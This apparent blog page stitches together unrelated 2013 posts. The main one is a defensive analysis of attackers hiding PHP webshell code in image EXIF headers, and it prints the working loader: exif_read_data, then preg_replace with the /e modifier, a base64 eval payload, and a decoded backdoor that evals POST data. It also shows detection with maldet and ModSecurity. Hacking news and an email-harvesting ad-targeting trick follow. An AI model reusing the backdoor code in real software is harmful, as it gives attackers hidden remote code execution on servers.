Friday 18 October 2013

Hiding Webshell Backdoor Code in Image Files

First appearances may be deceiving...  Web attackers have have been using a method of stashing pieces of their PHP backdoor exploit code within the meta-data headers of these image files to evade detections.  This is not a completely new tactic however it is not as well known by the defensive community so we want to raise awareness.  Let's first take a quick look at why this technique is being utlized by attackers.

Standard Webshell Backdoor Code

There are many methods attackers employ to upload Webshell backdoor code onto compromised web servers including Remote File Inclusion (RFI), Wordpress TimThumb Plugin and even non-web attack vectors such as Stolen FTP Credentials.  Here is a graphic taken from this years Trustwave SpiderLabs Global Security Report that lists the top malicious file types uploaded to compromised web servers:
MaliciousRFI_graphic
Let's take a look at a standard obfuscated R57 shell example:
Screen Shot 2013-10-11 at 12.26.17 PM

Notice the Base64 encoded parameter data and then the PHP Eval call at the end.  Once PHP executes this code, it will decode and inflate the data stream and the result will be a basic file uploader webshell similar to the following:
Screen Shot 2013-10-11 at 12.28.17 PM

Incident Response Steps - Identification and Eradication  

These types of attacks and compromises are so prevalent in Shared Hosting environments where end users do not properly update their web application software.  In response to these types of scenarios, Hosting Provider security teams often employ OS-level back-end processes that scan the local file systems looking for tell-tale signs of webshell backdoor code.  One example tool is called MalDetect.  This script can be run to analyze files and detect various forms of malicious code.  If we run maldetect against our example R57 webshell file we get the following:
$ sudo /usr/local/maldetect/maldet --config-option quar_hits=0,quar_clean=0,clamav_scan=1 -a "/tmp/lin.php"
Linux Malware Detect v1.4.2
            (C) 2002-2013, R-fx Networks <proj@r-fx.org>
            (C) 2013, Ryan MacDonald <ryan@r-fx.org>
inotifywait (C) 2007, Rohan McGovern <rohan@mcgovern.id.au>
This program may be freely redistributed under the terms of the GNU GPL v2

maldet(92294): {scan} signatures loaded: 9011 (7145 MD5 / 1866 HEX)
maldet(92294): {scan} building file list for /tmp/lin.php, this might take awhile...
maldet(92294): {scan} file list completed, found 1 files...
maldet(92294): {scan} 1/1 files scanned: 0 hits 0 cleaned
maldet(92294): {scan} scan completed on /tmp/lin.php: files 1, malware hits 1, cleaned hits 0
maldet(92294): {scan} scan report saved, to view run: maldet --report 101113-1250.92294
maldet(92294): {scan} quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294
$ sudo maldet --report 101113-1250.92294
malware detect scan report for MacBook-Pro-2.local:
SCAN ID: 101113-1250.92294
TIME: Oct 11 12:50:48 -0400
PATH: /tmp/lin.php
TOTAL FILES: 1
TOTAL HITS: 1
TOTAL CLEANED: 0

NOTE: quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294
FILE HIT LIST:
{MD5}base64.inject.unclassed.1 : /tmp/lin.php
===============================================
Linux Malware Detect v1.4.2 < proj@rfxn.com >

 As you can see, maldetect identified this PHP file with of of its generic base64 injection signatures.  While this indivudual file scanning does work, for managability, most organizations opt to run maldetect as part of an ogoing automated process run through scheduling tools such as Cron.  The big problem with this process is that, for performance reasons, many organizations opt to only scan PHP files and exclude other file types from being scanned...

Hiding Webshell Backdoor Code in Image Files 

 This brings us back to the beginning of the blog post.  Due to the cleanup tactics used by most organizations, the bad guys had to figure out a method of hiding their backdoor code in places that most likely would not be inspected.  In this case, we are talking about hiding PHP code data within the Exif image header fields.  The concept of Stegonography is not new and there have been many past examples of its use for passing data, however we are now seeing it used for automated code execution.  I do want to give a proper hat-tip to the Sucuri Research Team who also found similar techniques being employed.

PHP Code In EXIF Headers

If you were to view-source in a browser or use something like the unix strings command, you could see the new code added to the top of the image files:
Screen Shot 2013-10-11 at 1.10.12 PM

After uploading this file to VirusTotal, you can see a more friendly representation of the EXIF fields:
Screen Shot 2013-10-11 at 1.18.14 PM
As you can see, the PHP code is held within the EXIF "Model" and "Make" fields.  This data does not in any way interfere with the proper rendering of the image file itself.

PHP's exif_read_data function

PHP has a function called exif_read_data which allows it to read the header data of image files.  It is used extensivly in many different plugins and tools.  Here is an example from Facebook's GitHub Repo:
Screen Shot 2013-10-11 at 1.41.34 PM

Updated PHP Webshell Code

So, with pieces of their webshell stashes away within the EXIF headers of either local or remote image files, the attackers can then modify their PHP code to leverage the PHP exif_read_data function like this:
<?php
$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
?>
The first line downloads a remote jpg image file with the stashes code in it and then sets the $exif variable with the array value.  We can modify this PHP code to simulate this by downloading the same files and then dumping the $exif data:
<?
$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
var_dump($exif);
?>
When executing this php file, we get the following output:
$ php ./exif_dumper.php
array(9) {
  ["FileName"]=>
  string(18) "Logo_Coveright.jpg"
  ["FileDateTime"]=>
  int(0)
  ["FileSize"]=>
  int(6159)
  ["FileType"]=>
  int(2)
  ["MimeType"]=>
  string(10) "image/jpeg"
  ["SectionsFound"]=>
  string(13) "ANY_TAG, IFD0"
  ["COMPUTED"]=>
  array(5) {
    ["html"]=>
    string(23) "width="155" height="77""
    ["Height"]=>
    int(77)
    ["Width"]=>
    int(155)
    ["IsColor"]=>
    int(1)
    ["ByteOrderMotorola"]=>
    int(0)
  }
  ["Make"]=>
  string(5) "/.*/e"
  ["Model"]=>
  string(108) "eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));"
}
The final setup in this process is to execute the PHP preg_replace function.
<?php
$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
?>
Notice that the $exif['Make'] variable data uses the "/.*/e" PCRE regex modifier (PREG_REPLACE_EVAL) which will evaluate the data from the $exif['Model'] variable.  In this case, it would execute the base64_decode which results in the following PHP snippet of code:
if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}
This code checks to see if there is a POST request body named "zz1" and if there is, it will then eval the contents.  This makes it quite easy for attackers to sprinkle backdoor access code by injecting other legitimate PHP files with this combination of exif_read_data and preg_replace code.

How Widespread?

We can not accurately estimate how widespread this technique is being used however there is a small amount of empirical evidence by simply using public search engines to flag any web pages that list characteristics of either EXIF code hiding or searching for this specific base64 encoded string value.
Screen Shot 2013-10-11 at 2.24.03 PM
There are hundreds of examples of this base64 encoded data being present within image files.

Recommendations

Scan All Files for Malicious Code

If you are running OS level scanning of files on disk, carefully consider which file-types you want to include/exclude.  As this scenario shows, attackers can take advantage of your excluded content to hide their code.

Scan Files During Attachment Uploading using ModSecurity

When end users are uploading images as file attachments, ModSecurity has the ability to:
  1. Extract the file and dump it to a tmp file on disk
  2. Execute the @inspectFile operator to analyze the file
  3. Block uploading if malware is found
The maldetect README file even includes instructions on how to integrate it with ModSecurity:
.: 12 [ MODSECURITY2 UPLOAD SCANNING ]

The support for HTTP upload scanning is provided through mod_security2's inspectFile hook.
This feature allows for a validation script to be used in permitting or denying an upload. 

The convenience script to faciliate this is called modsec.sh and is located in the
/usr/local/maldetect installation path. The default setup is to run a standard maldet scan
with no clamav support, no cleaner rule executions and quarantining enabled; these options
are set in the interest of performance vs accuracy which is a fair tradeoff. 

The scan options can be modified in the modsec.sh file if so desired, the default
scan options are as follows:
--config-option quar_hits=1,quar_clean=0,clamav_scan=0 --modsec -a "$file"

There is a tangible performance difference in disabling clamav scanning in this usage
scenario. The native LMD scanner engine is much faster than the clamav scanner engine
in single file scans by a wide margin. A single file scan using clamav takes roughly
3sec on average while the LMD scanner engine takes 0.5sec or less.

To enable upload scanning with mod_security2 you must set enable the public_scan option
in conf.maldet (public_scan=1) then add the following rules to your mod_security2 
configuration. These rules are best placed in your modsec2.user.conf file on cpanel servers
or at the top of the appropraite rules file for your setup.

/usr/local/apache/conf/modsec2.user.conf (or similar mod_security2 rules file):
SecRequestBodyAccess On
SecRule FILES_TMPNAMES "@inspectFile /usr/local/maldetect/modsec.sh" \
                "log,auditlog,deny,severity:2,phase:2,t:none"

A restart of the HTTPd service is required following these changes.

When an upload takes place that is determined to be malware, it will be rejected and an
entry will appear in the mod_security2 SecAuditLog file. On cpanel servers and most
configurations this is the modsec_audit.log located under /usr/local/apache/logs or 
/var/log/httpd.

The log entry will appear similar to the following:
Message: Access denied with code 406 (phase 2). File "/tmp/20111120-....-file" rejected by
the approver script "/usr/local/maldetect/modsec.sh": 0 maldet: {HEX}php.cmdshell.r57.317
/tmp/20111120-....-file [file "/usr/local/apache/conf/modsec2.user.conf"] [line "3"]
[severity "CRITICAL"]

Teenager hacked Web sites globally

New Taipei City (新北市) police on Tuesday arrested a 16-year-old high-school student who allegedly hacked more than 1,237 Web sites across the globe and was ranked 19th in the world on the Global Hack Website Statistics site.
According to the police department’s criminal investigation division, the teenager, surnamed Hsu (許), who uses the online name “XerL9meI,” began hacking Web sites in July this year and had hacked into the Web sites of Kinmen County’s education bureau, National Central University, Tamkang University and private corporations, as well as government agencies in China and India.
Hsu was quoted by police as saying that he learned how to hack Web sites by reading books and buying certain computer programs, and he thought his IP address could not be traced. The police said they were able to trace him to his IP address through messages he left on the Web sites he had hacked.
According to police, Hsu looked for loopholes in Web sites’ SQL coding language and used them to bypass firewalls and obtain administrator privileges by cracking the passwords. He then uploaded his trademark message, which read: “You got hacked by XerLme9,” along with a warning that the Web site was unsafe.
While Hsu was quoted by police as admitting to hacking the Web sites, which would be a violation of Article 358 of the Criminal Code if prosecutors decided to press charges — punishable by three years in prison, detention or more than NT$100,000 (US$3,400) in fines — he said he was only a “gray hat hacker” who wished to remind the corporations he had hacked that their Web sites’ information security had loopholes.
Head of the criminal investigation division Lu Yue-cheng (呂岳城) said that though Hsu’s actions — having hacked the national land resources Web site of the Ruzhou city government in China’s Henan Province — could be considered an anti-United Front (統戰) act, it was nonetheless illegal.
The police had released Hsu into the custody of his grandparents, who are his legal guardians because Hsu’s parents had separated when he was very young and his father is in a vegetative state after a car accident last year.
Hsu’s grandparents said Hsu did not do well in school and often cloistered himself in his room, adding that they did not really know what he was up to.
“We would like to thank the police for nipping the flower in the bud, so to speak,” they said, adding that they would keep an eye on Hsu and try not to let him sink any deeper into the world of hacking.
As the arrest had been the second of a teenaged hacker in Taiwan, after the arrest of a 14-year-old youth in Taoyuan County last year, the New Taipei City police department’s criminal investigation division expressed concern about the trend of ever-younger hackers being apprehended.
The youths might glorify other hackers, or may simply want to prove themselves or have something to brag about, the police department said, adding that in the information age, access to hacking-related books and computer programs was too easy.
“We fear that more juvenile hackers would start to try their hand at hacking in the future,” police officers said, issuing a call for governmental and private organizations to reinforce their Web sites’ information security.
Police said that if members of the public’s personal data were extracted by hackers from organizations’ data banks, the organizations would be held complicit for violating the Personal Information Protection Act (個人資料保護法).

Think China is the No. 1 Country for Hacking? Think Again.

China has earned a reputation as the hacker capital of the world, but a new report shows the bulk of global cyber-attack activity has recently come from its smaller neighbor Indonesia.
Thirty-eight percent of cyber attacks originated in Indonesia during the second quarter of 2013, up from 21 percent in the first quarter, according to a report by security cloud platform Akamai. This spike helped push China off the hacking pedestal, with the world's most populous country accounting for 33 percent of attacks, down from 34 percent in the previous quarter. The U.S. rounded out the top three, generating 6.9 percent of cyber-attack traffic, a decrease from 8.3 percent.
Indonesia and China alone accounted for more than half of all cyber-attack activity during the quarter.
Related: Don't Get Hacked -- Tools to Fight Cyber Attacks
While it may seem like Indonesia came out of nowhere to take the lead (last year the country accounted for on average less than one percent of cyber crimes), hackers may be taking advantage of its increase in connection and weakening IT structure.
The country's average internet connection speed increased 125 percent in the second quarter from the same time last year. That, coupled with the fact the country isn't spending a whole lot of cash on its infrastructure,  may make the country a haven for cybercriminals.
Related: Cyber Security a Growing Issue for Small Business 
In January, hacker group Anonymous Indonesia claimed responsibility for defacing 12 government websites with the tagline "No Army Can Stop an Idea" shown on the sites. In April, the country's defense minister Purnomo Yusgiantoro announced they were building a Cyber Defense Center to take on hackers. Microsoft also felt the supposed wrath of Indonesia criminals (among others) when it put the kibosh on a cybercrime operation in June.
Akamai's findings are based on agents reporting log connection attempts, which the company defines as attack traffic. The company then can determine the top countries the hack attacks occur. One caveat to keep in mind: the IP address assigned to a particular country may not be the nation the attacker resides. So someone from China with an IP address associated with them, may be committing cyber attacks in France.
To check out more of Akamai's findings, check out the below highlights:
Click to Enlarge+
Think China is the No. 1 Country for Hacking? Think Again.


Hacking Facebook ads using Google+ Circles : Target your Audiance





                Too often, marketers get caught in the social network wars that users do, neglecting that while a certain social network may not be their favorite to use, there is definitely a marketing advantage to using it.It’s way too easy to focus on Facebook, and forget that Google+ and Twitter are out there with hundreds of millions of users waiting to hear about your product. As a result, I really try to avoid these biases to ensure I’m taking the best that each network has to offer in my marketing campaigns.It was with this approach that I discovered a way just yesterday to utilize your Google+ circles to better target your ad campaigns on Facebook, and it’s pretty simple. It involves Google+, Google Contacts, and Custom Audiences within Facebook Power Editor.
gplus
Here’s how it works:

Create and Add Google+ Users to Circles

The first step is to identify different segments of users on Google+ you could be targeting. Recently, I spoke at Social Media Examiner’s Social Media Success Summit conference and asked them all to share their experiences on Google+ using the hashtag, #SMSS13.
This did 2 things: it got the term to trend (it’s much easier to trend on Google+ than Twitter), and it gave me a way to identify all the Google+ users that were participating in my talk.
Trending_on_Gplus
From this group of users, we created a shared circle that we also shared with others participating in the conversation so that others could identify who was missing. This now gave me a list I could use on Google+, but guess what? I could also use it through Google Contacts.
image (1)

Use Google Contacts to Obtain Email Addresses

One of my favorite features of Google+ is its integration with all other Google Products. One of the most powerful of those integrations is Google Contacts. For every circle you create on Google+, it also gives you access to those users’ information in Google Contacts as well.
This means if they’ve made their email address accessible to the people that have circled them, or to the public, their email address will appear in Google Contacts. Now you have an instant email list!
image (2)
The problem I’ve found with Google Contacts is that for some reason you can’t export the email addresses through their export feature, but you can email everyone in a particular circle. So what I do is select the circle on the left, check all the names in the circle, and then click the little email icon at the top.
This puts all of the names and email addresses in the “To” field in a Gmail compose box. Now all I have to do is copy all those into a text file (on Windows I just use Notepad for this and save as text) and import them into Excel.

Format the Excel File

For this exercise you really only need the email addresses, but you need them each in a separate row. Copying and pasting the names and emails into a text file puts them all on the same line including weird characters and text. What I do is I import the file as csv, and this puts each name and email in a separate column.
Then, if you select all of them in Excel, copy (cut does not work), and then highlight the row below, right click and select “paste special” you can select “transpose” to put them all in a single column.
image (4)
Now, with a little bit of row-splitting magic (you can Google this, splitting on the “>”), and some find and replace on the miscellaneous “>” and “<” and other characters you see you can get rid of the names column and have a single column full of pure email addresses. Just save this in .csv (comma-separated-value) format and you’re done. Now for the fun part!

Create a Custom Audience in Power Editor

Now you just need to import the file into Power Editor as a custom audience you can now target for future ad campaigns. To do this, go to “Audiences” on the left in Power Editor, select “Create Audience” in the drop-down at the top, and then “Custom Audience”.
image (5)
JS_FB_headerHere you can name your audience, and upload the csv file you just created. Facebook will match these emails with users in their database, and now you have a custom, micro-targeted audience you can start using in your ad campaigns! So if I have follow-up material I want to share with those I spoke to, I now get to have an ad waiting for them when they get back to Facebook.
Give it a try and let me know what you think!